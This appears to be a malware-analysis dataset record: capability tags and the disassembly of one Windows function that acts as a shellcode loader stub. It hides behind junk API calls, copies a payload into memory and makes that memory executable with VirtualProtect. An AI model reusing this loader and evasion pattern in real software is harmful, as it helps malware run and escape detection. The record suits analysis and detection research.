Function at 0x406298
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
mov eax, 0x42c374
call fcn.0042c278
mov eax, 0x1450
call fcn.00416320
push ebx
push esi
xor esi, esi
cmp dword [0x4dffe0], 0x5b1
push edi
jne 0x406357
push esi
lea eax, [ebp - 0x45c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
lea eax, [ebp - 0x58]
call fcn.0040663d
push esi
mov dword [ebp - 4], esi
call fcn.004080d4
pop ecx
push esi
call fcn.004073c0
pop ecx
push esi
push esi
push esi
push esi
call fcn.00407d77
push esi
push esi
call fcn.00407a92
add esp, 0x18
call fcn.00407170
push 0x405a3c
lea ecx, [ebp - 0x1c]
call fcn.00405dd0
lea ecx, [ebp - 0x1c]
call fcn.00405dec
push esi
push esi
call fcn.00407a87
push esi
call fcn.00407a58
add esp, 0xc
push esi
push esi
call fcn.0040734c
pop ecx
pop ecx
push esi
call fcn.004084c8
add dword [0x4dffe0], 0x1134b
push dword [0x4dffe0]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4def34], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x406378
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [0x4dffe0]
push dword [0x4def34]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x4063d1
inc edi
cmp edi, 0x4f6a4
jl 0x4063b7
xor edi, edi
cmp dword [0x4dffe0], esi
jbe 0x406420
cmp dword [0x4dffe0], 0xa8
mov eax, dword [0x4dffe4]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4def34]
mov byte [ecx + edi], al
jne 0x406417
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x4dffe0]
jb 0x4063db
xor edi, edi
mov eax, dword [0x4dffe0]
add eax, edi
cmp eax, 0xe
jne 0x406468
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x406422
call fcn.00406176
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x406485
call fcn.0040627e
inc edi
cmp edi, 0x6753f
jl 0x406478
push 0x7b
pop edi
cmp dword [0x4dffe0], 0x86
jne 0x4064fe
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x405a4c
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
push esi
lea eax, [ebp - 0xc5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
lea eax, [ebp - 0x145c]
push eax
push esi
push 0x405a70
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec edi
jne 0x406491
push 0x405a80
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret